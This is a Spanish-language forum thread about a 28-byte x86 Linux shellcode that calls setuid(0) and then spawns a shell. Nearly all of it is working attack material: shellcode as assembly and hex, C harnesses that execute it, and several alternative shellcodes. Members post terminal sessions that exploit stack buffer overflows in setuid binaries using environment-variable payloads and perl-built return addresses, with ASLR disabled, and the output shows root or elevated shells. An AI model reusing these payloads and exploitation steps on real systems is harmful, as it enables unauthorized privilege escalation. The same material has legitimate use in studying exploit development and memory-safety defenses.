Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales
Autor
|
Tema: Smallest “setuid” & “execve” GNU/Linux x86 stable shellcode without nulls (Leído 3,365 veces)
|
|
sch3m4
|
Aquí os dejo una shellcode de 28 bytes estable, para GNU/Linux x86 que ejecuta un setuid(0) y lanza una consola. Código para nasmglobal _start section .text _start: ;setuid(0) xor ebx,ebx lea eax,[ebx+17h] cdq int 80h ;execve("/bin/sh",0,0) xor ecx,ecx push ecx push 0x68732f6e push 0x69622f2f lea eax,[ecx+0Bh] mov ebx,esp int 80h Código en C#include <stdio.h> const char shellcode[]= "\x31\xdb" "\x8d\x43\x17" "\x99" "\xcd\x80" "\x31\xc9" "\x51" "\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69" "\x8d\x41\x0b" "\x89\xe3" "\xcd\x80"; int main() { printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 STABLE SHELLCODE" "WITHOUT NULLS THAT SPAWNS A SHELL" "\n\nCoded by Chema Garcia (aka sch3m4)" "\n\t + sch3m4@opensec.es" "\n\t + http://opensec.es" "\n\n[+] Date: 29/11/2008" "\n[+] Thanks to: vlan7" "\n\n[+] Shellcode Size: %d bytes\n\n", sizeof(shellcode)-1); (*(void (*)()) shellcode)(); return 0; } Más información aquí
|
|
|
|
« Última modificación: 29 Noviembre 2008, 22:43 por sch3m4 »
|
En línea
|
OpenSec
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
|
|
|
|
berz3k
|
Me va de maravilla el code, como dicen en mi pueblo esta "chingon"
-berz3k.
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Pues no me funciono, lo hice tratando de explotar un binario con el bit set uid activado de otro usuario que no fuese root y no funciono, esta hecho solo para exploits que ataquen a binarios de root, pero no para los normales.
Y lo mas raro de todo que cuando atacaba el binario vulnerable con ese shellcode, me ejecutaba un bash y no un sh, ademas lo ejecutaba como lo mencione antes sin los permisos de usurio en cuestion activados.
Saludos.
|
|
|
|
|
En línea
|
|
|
|
|
sch3m4
|
Ahora viene cuando digo: "pues a mi me funciona!"... Fuera de bromas, esta shellcode está más que probada ( http://www.wadalbertia.org/phpBB2/viewtopic.php?t=5139&postdays=0&postorder=asc&start=0 http://vlan7.blogspot.com/ http://opensec.es/2008/11/26/gnulinux-setuid0-execbinsh00-stable/)Revisa la configuración de tu sistema, porque lo que dices de que te lanza un bash en lugar de un sh, ""no puede ser"", en el código se ve: push 0x68732f6e push 0x69622f2f
ASCII - Caracter - Hex. CHAR(47) / 0x2F CHAR(98) b 0x62 CHAR(105) i 0x69 CHAR(110) n 0x6E CHAR(47) / 0x2F CHAR(115) s 0x73 CHAR(104) h 0x68
Prueba a lanzar un sh usando la interrupción 0Bh, a ver si te lanza un sh o un bash. Y lo mismo ocurre con los programas que tienen el bit set uid activado. Está probado en muchos entornos, con modificaciones en la pila, registros,parametros, etc. Puedes pegar todo el proceso que realizas?
|
|
|
|
|
En línea
|
OpenSec
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Bien, si aqui esta todo el proceso. Anon@remotehost:~$ uname -a Linux remotehost 2.6.27 #1 SMP Fri Nov 14 20:22:51 MSK 2008 i686 GNU/Linux Anon@remotehost:~$ cd /path/to/bof Anon@remotehost:/path/to/bof$ Anon@remotehost:/path/to/bof$ cat bof.c #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buf[128]; if(argc < 2) return 1; strcpy(buf, argv[1]); printf("%s\n", buf); return 0; } Anon@remotehost:/path/to/bof$ echo $MESSAGE You can see this is as classic BoF as that of my wargame! Anon@remotehost:/path/to/bof$ ls -l -r-sr-x--- 1 AnotherUser mygroup 7140 Nov 30 2008 bof -r--r----- 1 AnotherUser mygroup 178 Oct 2 2008 bof.c Anon@remotehost:/path/to/bof$ ./bof Hola Hola Anon@remotehost:/path/to/bof$ ./bof `perl -e '{ printf "A"x200}'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault Anon@remotehost:/path/to/bof$ export EGG=`perl -e '{print "\x90"x10,"\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80"}'` Anon@remotehost:/path/to/bof$ /tmp/getenv EGG EGG is located at 0xbfffdf03 Anon@remotehost:/path/to/bof$ ./bof `perl -e '{ printf "\x04\xdf\xff\xbf"x48}'` #<Basura de la salida> bash-3.1$ id uid=1004(Anon) gid=1004(Anon) groups=1004(Anon) bash-3.1$ exit Anon@remotehost:/path/to/bof$ id uid=1004(Anon) gid=1004(Anon) groups=1004(Anon) Anon@remotehost:/path/to/bof$ gcc -v Using built-in specs. Target: i486-linux-gnu Thread model: posix gcc version 4.1.2 20061115 (prerelease) (Debian 4.1.1-21) Yo no dudo que no funcione, estoy seguro que funciona, he visto el codigo y la verdad que la primera vez que lo publicaste, me dije "A este shellcode esta muy pequeño y si funciona lo mas seguro" Vi las instrucciones en ASM y vi que eran muy optimizadas. Y ahora que tengo un linux para problarlo, no me funcionaron, fue lo que se me hizo mas raro. Saludos.
|
|
|
|
« Última modificación: 1 Enero 2009, 15:25 por Anon »
|
En línea
|
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.947
Lavando Platos
|
cuando pones un setuid sale una S grande en el ls -l no? sdc@porende:~$ ls -l n -rwSr-Sr-- 1 sdc sdc 1 2008-12-31 18:54 n --edit-- ah no xD eso es cuando no tiene permisos de ejecucion, olvidenlo sdc@porende:~$ ls -l n -rwSr-Sr-- 1 sdc sdc 1 2008-12-31 18:54 n sdc@porende:~$ chmod ugo+x n sdc@porende:~$ ls -l n -rwsr-sr-x 1 sdc sdc 1 2008-12-31 18:54 n entonces lo que pasa es que AnotherUser no tiene permiso de hacer setuid a root, checa el estado de eax despues de la llamada, y deberia ser <0 Saludos!!
|
|
|
|
« Última modificación: 1 Enero 2009, 02:00 por sirdarckcat »
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Pues lo voy a probar luego, sin embargo segun vi en uno de los links que puso sch3m4 si el programa no tiene los privilegios para hacer setuid a root, de todos modos deberia de retonar el /bin/sh generado por el execve.
Saludos.
|
|
|
|
« Última modificación: 1 Enero 2009, 03:47 por Anon »
|
En línea
|
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.947
Lavando Platos
|
si, eso es correcto.. que pasa su pones sh en terminal? xD se ejecuta bash? chanse y tu computadora es rara y sh es un ln a bash o algo asi
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
mmm, que wey estoy, si era eso  , sin embargo si hace algo diferente a la hora de ejecutar el shellcode de sch3m4, y es lo que se deberia de documentar. Anon@remotehost:~$ whereis bash bash: /bin/bash /usr/share/man/man1/bash.1.gz Anon@remotehost:~$ whereis sh sh: /bin/sh /usr/share/man/man1/sh.1.gz Anon@remotehost:~$ ls -l /bin/bash -rwxr-xr-x 1 root root 677184 Dec 11 2006 /bin/bash Anon@remotehost:~$ ls -l /bin/sh lrwxrwxrwx 1 root root 4 Feb 28 2008 /bin/sh -> bash Anon@remotehost:~$ sh --version GNU bash, version 3.1.17(1)-release (i486-pc-linux-gnu) Copyright (C) 2005 Free Software Foundation, Inc. Anon@remotehost:~$ sh sh-3.1$ echo "<< Esto fue lo que me confundio" Ahora ya vimos por que ejecuta bash, ¿Pero aun asi por que pierde los privilegios que deberia de tener?¿Es por el syslink?, ¿alguna proteccion del kernel al detectar la llamada a setuid? Sin embargo otros shellcodes si me ejecutan sh en su forma "sh-3.1$" directamente aunque sea un link a bashBueno el shellcode de sch3m4 ejecuta bash, sin embargo ejecuto otros shellcodes como: \xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh Anon@remotehost:/path/to/bof$ export EGG=`perl -e '{print "\x90"x10,"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"}'` Anon@remotehost:/path/to/bof$ /tmp/getenv EGG EGG is located at 0xbfffb7f6 Anon@remotehost:/path/to/bof$ ./bof `perl -e '{print "\xf6\xb7\xff\xbf"x60 }'` #<Basura de la salida> sh-3.1$ id uid=1004(Anon) gid=1004(Anon) euid=1005(AnotherUser) groups=1004(Anon) Este ultimo si me devuel el shell de sh, y ademas con los privilegios requeridos.Saludos.
|
|
|
|
« Última modificación: 1 Enero 2009, 15:33 por Anon »
|
En línea
|
|
|
|
|
sch3m4
|
Tienes el código en ensamblador de la shellcode que te funciona, o puedes depurarla y compararla con esta? No he probado la shellcode en un 486, pero en principio no hay variaciones.
|
|
|
|
|
En línea
|
OpenSec
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.947
Lavando Platos
|
0x80c3020 <shellcode>: jmp 0x80c303a <shellcode+26> 0x80c3022 <shellcode+2>: pop %esi 0x80c3023 <shellcode+3>: mov %esi,0x8(%esi) 0x80c3026 <shellcode+6>: xor %eax,%eax 0x80c3028 <shellcode+8>: mov %al,0x7(%esi) 0x80c302b <shellcode+11>: mov %eax,0xc(%esi) 0x80c302e <shellcode+14>: mov %esi,%ebx 0x80c3030 <shellcode+16>: lea 0x8(%esi),%ecx 0x80c3033 <shellcode+19>: lea 0xc(%esi),%edx 0x80c3036 <shellcode+22>: mov $0xb,%al 0x80c3038 <shellcode+24>: int $0x80 0x80c303a <shellcode+26>: call 0x80c3022 <shellcode+2> 0x80c303f <shellcode+31>: das 0x80c3040 <shellcode+32>: bound %ebp,0x6e(%ecx) 0x80c3043 <shellcode+35>: das 0x80c3044 <shellcode+36>: jae 0x80c30ae <_dl_load_lock+6> 0x80c3046 <shellcode+38>: add %al,(%eax)
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Si mas o menos lo que puso sdc, la shellcode la saque tambien de milw0rn http://www.milw0rm.com/shellcode/445 /* * s0t4ipv6@Shellcode.com.ar * execve /bin/sh * * main() { * char *name[2]; * name[0]="/bin/sh"; * name[1]=NULL; * execve(name[0],name,NULL); * } */ #include <stdio.h> char shellcode[]= "\xeb\x18" // jmp 0x18 // 3-4 "\x5e" // popl %esi // 5 "\x89\x76\x08" // movl %esi, 0x8(%esi) // 6-8 "\x31\xc0" // xorl %eax, %eax // 9-10 "\x88\x46\x07" // movb %al, 0x7(%esi) // 11-13 "\x89\x46\x0c" // movl %eax, 0xc(%esi) // 14-16 "\x89\xf3" // movl %esi, %ebx // 17-18 "\x8d\x4e\x08" // leal 0x8(%esi), %ecx // 19-21 "\x8d\x56\x0c" // leal 0xc(%esi), %edx // 22-24 "\xb0\x0b" // movb $0xb, %al // 25-20 0xb to eax (syscall execve)6 "\xcd\x80" // int $0x80 // 27-28 "\xe8\xe3\xff\xff\xff" // call -0x1d "/bin/sh"; main() { int *ret; ret=(int *)&ret +2; printf("Shellcode lenght=%d\n",strlen(shellcode)); (*ret) = (int)shellcode; } // milw0rm.com [2004-09-12] ok, el shell anterior es uno de tantos que probe en el sistema remoto y que funcionaron: sh-3.1$
Es lo que no comprendo bien, el shell de sch3m4 teoricamente si ejecuta /bin/sh que ya vimos y si es un syslink a bash, pero los otros shellcodes si me aparece el sh-3.1$ y con el de sch3m4 aparece bash-3.1$, pero creo que ya se por donde va esto. Uno de los problemas esta en los parametros mandados a execve, para este caso no importa si es 486 o 586 simple x86, lo que mas importaria seria la version del kernel, sin embargo estas llamadas son basicas y no se han modificado en mucho tiempo. El shellcode de sch3m4, en resumen hace setuid(0); execve("/bin/sh",NULL,NULL); Que no es ta mal, sin embargo no es lo mas adecuado, se que lo haces por ganar unos bytes extras. Y el shellcode mostrado en hace: execve("/bin/sh",{"/bin/sh",NULL},NULL);Que es lo mas correcto debido a como esta programada la llamada execve. He aqui el codigo de ejemplo: execvesh.c#include<stdlib.h> #include<stdio.h> int main() { char *temp[2] = {"/bin/sh",NULL}; execve("/bin/sh",temp,NULL); return 0; } Ahora execvebash.c#include<stdlib.h> #include<stdio.h> int main() { execve("/bin/sh",NULL,NULL); return 0; } Y Ahora: Anon@remotehost:~$ gcc -o ./execvebash ./execvebash.c Anon@remotehost:~$ gcc -o ./execvesh ./execvesh.c Anon@remotehost:~$ ps PID TTY TIME CMD 15733 pts/5 00:00:00 ps 20232 pts/5 00:00:00 bash Anon@remotehost:~$ ./execvebash bash-3.1$ ps PID TTY TIME CMD 20232 pts/5 00:00:00 bash 23875 pts/5 00:00:00 sh 24058 pts/5 00:00:00 ps Anon@remotehost:~$ exit Anon@remotehost:~$ ps PID TTY TIME CMD 20232 pts/5 00:00:00 bash 26529 pts/5 00:00:00 ps Anon@remotehost:~$ ./execvesh sh-3.1$ ps PID TTY TIME CMD 13740 pts/5 00:00:00 sh 14020 pts/5 00:00:00 ps 20232 pts/5 00:00:00 bash sh-3.1$ exit Bueno aclarado por que ejecuta un bash-3.1$ y no un sh-3.1$ ahora solo me intriga por que pierde los privilegios que se debieron da haber ganado, como lo hacen los otros shellcodes.
|
|
|
|
|
En línea
|
|
|
|
|
plAnadecU
|
Shellcode que hace lo mismo pero se entiende mejor. Ademas esta comentada. Eso si, es bastante mas grande en tamaño. BITS 32
; setresuid(uid_t ruid, uid_t euid, uid_t suid); xor eax, eax ; zero out eax xor ebx, ebx ; zero out ebx xor ecx, ecx ; zero out ecx xor edx, edx ; zero out edx mov al, 0xa4 ; 164 (0xa4) for syscall #164 int 0x80 ; setresuid(0, 0, 0) restore all root privs
; execve(const char *filename, char *const argv [], char *const envp[]) xor eax, eax ; make sure eax is zeroed again mov al, 11 ; syscall #11 push ecx ; push some nulls for string termination push 0x68732f2f ; push "//sh" to the stack push 0x6e69622f ; push "/bin" to the stack mov ebx, esp ; put the address of "/bin//sh" into ebx, via esp push ecx ; push 32-bit null terminator to stack mov edx, esp ; this is an empty array for envp push ebx ; push string addr to stack above null terminator mov ecx, esp ; this is the argv array with string ptr int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
Saludos.
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Hola que, pues shellcodes que ejecuten un setuid(0) y execve("/bin/sh") existen muchas pero que sean de poco tamaño no tantas.
El problema que yo tube con esta shell fue que la use en un sistema que tenia sh -> bash (Link Simbolico) y eso me genero algunos conflictos que ya se explicaron en el tema.
plAnadecU voy a ver la shell que comentas cuando tenga un linux disponible.
Saludos.
|
|
|
|
|
En línea
|
|
|
|
|
plAnadecU
|
A mi el propuesto de 28bytes me ha funcionado de maravilla. Probando de explotar el siguiente programa: #include <stdio.h> #include <string.h> #include <sys h=""> #include <unistd.h> int main(int argc, char *argv[]) { seteuid(5000); function(argv[1]); } void function(char *arg){ char buffer[8]; strcpy(buffer, arg); printf("buffer is at %p and contains \'%s\'\n", buffer, buffer); } $SHELLCODE0: El sugerido por mi hace en el post anterior (muchos bytes) $SHELLCODE1: Shellcode bajado de http://packetstormsecurity.org/filedesc/smallest_setuid_execve_sc.c.html (26 bytes) $SHELLCODE2: Shellcode de Chema Garcia (28 bytes) planadecu@pdux:~/hacking/smallest$ export SHELLCODE0=`cat highest_priv_shell` planadecu@pdux:~/hacking/smallest$ export SHELLCODE1=$(perl -e 'print "\x31\xc0\x99\xb0\x17\x60\xcd\x80\x61\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80"') planadecu@pdux:~/hacking/smallest$ export SHELLCODE2=$(perl -e 'print "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80"') root@pdux:~# echo 0 > /proc/sys/kernel/randomize_va_space planadecu@pdux:~/hacking/smallest$ gcc -g overflowable.c -o overflowable -fno-stack-protector overflowable.c:8: warning: conflicting types for ‘function’ overflowable.c:5: warning: previous implicit declaration of ‘function’ was here planadecu@pdux:~/hacking/smallest$ sudo chown root:root overflowable planadecu@pdux:~/hacking/smallest$ sudo chmod u+s overflowable planadecu@pdux:~/hacking/smallest$ ./getenvaddr SHELLCODE0 ./overflowable SHELLCODE_OK will be at 0xbffffcb1 planadecu@pdux:~/hacking/smallest$ ./overflowable $(perl -e 'print "A"x12 . "\xb1\xfc\xff\xbf"') buffer is at 0xbffff3b0 and contains 'AAAAAAAAAAAA����' # whoami root # exit planadecu@pdux:~/hacking/smallest$ ./getenvaddr SHELLCODE1 ./overflowable SHELLCODE will be at 0xbffff653 planadecu@pdux:~/hacking/smallest$ ./overflowable $(perl -e 'print "A"x12 . "\x53\xf6\xff\xbf"') buffer is at 0xbffff3b0 and contains 'AAAAAAAAAAAAS���' $ whoami whoami: cannot find name for user ID 40948 $ exit planadecu@pdux:~/hacking/smallest$ ./getenvaddr SHELLCODE2 ./overflowableSHELLCODE2 will be at 0xbffffdfc planadecu@pdux:~/hacking/smallest$ ./overflowable $(perl -e 'print "A"x12 . "\xfc\xfd\xff\xbf"')buffer is at 0xbffff380 and contains 'AAAAAAAAAAAA����' # whoami root # exit $SHELLCODE0: El sugerido por mi hace en el post anterior - FUNCIONA$SHELLCODE1: Shellcode bajado de http://packetstormsecurity.org/filedesc/smallest_setuid_execve_sc.c.html (26 bytes) - NO TIRA $SHELLCODE2: Shellcode de Chema Garcia (28 bytes) - FUNCIONA
|
|
|
|
|
En línea
|
|
|
|
|
|